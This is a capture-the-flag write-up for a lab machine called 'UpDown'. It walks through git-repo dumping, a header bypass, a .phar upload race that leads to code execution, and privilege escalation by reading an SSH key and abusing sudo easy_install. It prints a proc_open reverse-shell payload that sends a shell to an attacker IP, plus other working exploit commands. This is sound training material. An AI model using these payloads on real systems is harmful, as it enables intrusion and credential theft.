Summary

User Flag

  • Searching the place for a dev space, dumping the parts for an entry;
  • Knowing the phrase for something special, showing the ways to somewhere great.
  • Seeing the place and reading the code, spotting the vulns and the craft;
  • Checking the web for a mode, knowing the form then you are not far.
  • Into the realm and get to the home, reading the bean and the animal;
  • Knowing the bean superbs the animal, breaking out the stomach of the foke.

Root Flag

  • Checking the rights, knowing the mights;
  • All you need is finding the right site.

Scanning

# TCP Scan
> TARGET=10.129.110.172 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Is my Website up ?
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

Web Enum

  • Browse to the site, found domain name: siteisup.htb, add to /etc/hosts
  • Perform the conventional web enum
  • Path enum:
> dirsearch -u http://siteisup.htb/

[05:02:05] 200 -    0B  - /dev/                                             
[05:02:05] 301 -  310B  - /dev  ->  http://siteisup.htb/dev/                
[05:02:20] 200 -    1KB - /index.php                                        
[05:02:20] 200 -    1KB - /index.php/login/
  • Subdomain enum:
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://siteisup.htb/" -H "Host: FUZZ.siteisup.htb" --hl 39

000000019:   403        9 L      28 W       281 Ch      "dev"
  • Add dev.siteisup.htb to /etc/hosts
  • Browse to http://dev.siteisup.htb/ gives 403
  • Go back to the main page and investigate the form
  • There is a form at http://siteisup.htb that can be used to check if a site is up
  • Searching for 127.0.0.1, shows Hacking attempt was detected !
  • Searching for http://siteisup.htb shows up
  • Enabling debug mode shows the page’s source
  • Searching for http://dev.siteisup.htb/ shows, seems to be down.
  • Perform enum using the web form’s post feature
> ffuf -w /usr/share/wordlists/dirb/big.txt -X POST  -u http://siteisup.htb/ -d 'site=FUZZ&debug=1' -mc all -fr "is up." -c -v
Found nothing new
  • Going back to path search under /dev give promising results
> dirsearch -u http://siteisup.htb/dev/

[05:30:26] 200 -  772B  - /dev/.git/branches/                               
[05:30:26] 301 -  315B  - /dev/.git  ->  http://siteisup.htb/dev/.git/      
[05:30:26] 200 -  298B  - /dev/.git/config
[05:30:26] 200 -    3KB - /dev/.git/
[05:30:26] 200 -   73B  - /dev/.git/description
[05:30:26] 200 -   21B  - /dev/.git/HEAD
  • There is a git repo there, use git-dumper to dump everything
> python3 ~/tools/git-dumper/git_dumper.py http://siteisup.htb/dev/ dev

Source inspection: special header

  • Inspect the dev repo
# check the logs
> git log
commit 8812785e31c879261050e72e20f298ae8c43b565
Author: Abdou.Y <84577967+ab2pentest@users.noreply.github.com>
Date:   Wed Oct 20 16:38:54 2021 +0200

    New technique in header to protect our dev vhost.
  • This commit seems interesting, check out this commit
> git diff 8812785e31c879261050e72e20f298ae8c43b565 bc4ba79e596e9fd98f1b2837b9bd3548d04fe7ab
diff --git a/.htaccess b/.htaccess
index b317ab5..44ff240 100644
--- a/.htaccess
+++ b/.htaccess
@@ -2,4 +2,3 @@ SetEnvIfNoCase Special-Dev "only4dev" Required-Header
 Order Deny,Allow
 Deny from All
 Allow from env=Required-Header
  • So, a special header is required to access somewhere, perhaps it’s http://dev.siteisup.htb
  • Add Special-Dev: only4dev as a header to try, this shows the content of http://dev.siteisup.htb, it worked
> curl http://dev.siteisup.htb -H "Special-Dev: only4dev"
  • Add a speacial header rule in burp to browse to the site

Source inspection: file upload

  • Browsing the site http://dev.siteisup.htb found an upload form
  • The code can be found in the dev repo, checker.php
  • We can see that the checker performs some extension checking, however it doesn’t check for .phar extension
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
    die("Extension not allowed!");
}
  • Then it creats a folder with the md5 of time as the folder name, this can be enumerated. Later, it turned out that we don’t have to calculate this, because once a folder is created, you can browse to /uploads to view the md5 name.
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
    mkdir($dir, 0770, true);
}
  • Then it reads the content of the file
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");

# Read the uploaded file.
$websites = explode("\n",file_get_contents($final_path));
  • And it checks the sites one by one and delete the file after checking
foreach($websites as $site){
    $site=trim($site);
    if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
        $check=isitup($site);
        if($check){
            echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
        }else{
            echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
        }	
    }else{
        echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
    }
}

# Delete the uploaded file.
@unlink($final_path);

Foothold

  • Our plan of attack is this: let’s create a .phar file with a huge number of sites to give us enough time to browse to our uploaded file. And we include some php code at the end of the file for RCE. Then, we upload the file. Finally, while the checker.php is busy checking the sites, we browse to the uploaded file to execute the code.
  • Create a .phar file and write a lot of site address into it then followed by some php code
http://site
http://site
http://site
http://site
...
http://site
http://site
http://site
<?php
phpinfo();
?>
  • Upload the file, then browse to http://dev.siteisup.htb/uploads/, the temp folder md5 can be seen, then browse to that folder and click on the uploaded file to get php code execution result.
  • Under disable_functions, we can see the following. However, proc_open is not among these.
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen
<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("file", "/tmp/error-output.txt", "a") // stderr is a file to write to
);
$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
    fwrite($pipes[0], 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ip> 4444 >/tmp/f');
    fclose($pipes[0]);
    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);
    $return_value = proc_close($process);
    echo "command returned $return_value\n";
}
?>
  • Re-upload the .phar file and setup a nc listener to receive the shell.

PE: developer

  • On the host under /home/developer folder, there is a file called siteisup and a python script siteisup_test.py.
  • We can see that siteisup is an executable with a s bit, which effectively gives it the user rights of developer.
www-data@updown:/home/developer/dev$ ls -la
total 32
drwxr-x--- 2 developer www-data   4096 Jun 22 15:45 .
drwxr-xr-x 6 developer developer  4096 Aug 30 11:24 ..
-rwsr-x--- 1 developer www-data  16928 Jun 22 15:45 siteisup
-rwxr-x--- 1 developer www-data    154 Jun 22 15:45 siteisup_test.py
  • Inspect siteisup_test.py shows this is a python script that reads a user input. The input function is vulnerable to python sandbox escape by invoking __import__
www-data@updown:/home/developer/dev$ cat siteisup_test.py
import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
        print "Website is up"
else:
        print "Website is down"
  • Inspecting the siteisup executable, there is a reference to the above python script, so this binary must be calling the python script. This means, we can just call this binary and exploit python to escape the sandbox to achieve code execution in developer’s rights.
www-data@updown:/home/developer/dev$ strings siteisup
/lib64/ld-linux-x86-64.so.2
libc.so.6
puts
setresgid
setresuid
system
getegid
geteuid
__cxa_finalize
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Welcome to 'siteisup.htb' application
/usr/bin/python /home/developer/dev/siteisup_test.py
:*3$"
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
crtstuff.c
  • To exploit
> ./siteisup
__import__('os').system('cat /home/developer/.ssh/id_rsa')
  • This should give you the developer’s id_rsa
  • Now, this file can be used to access ssh as developer. Login to fetch the user flag

PE: root

  • Simply check sudo, there is a binary that can be run as sudo
developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install
developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.H1LfIjX0EC
Writing /tmp/tmp.H1LfIjX0EC/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.H1LfIjX0EC/egg-dist-tmp-fqrhl7
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
  • You should be root now, fetch the root flag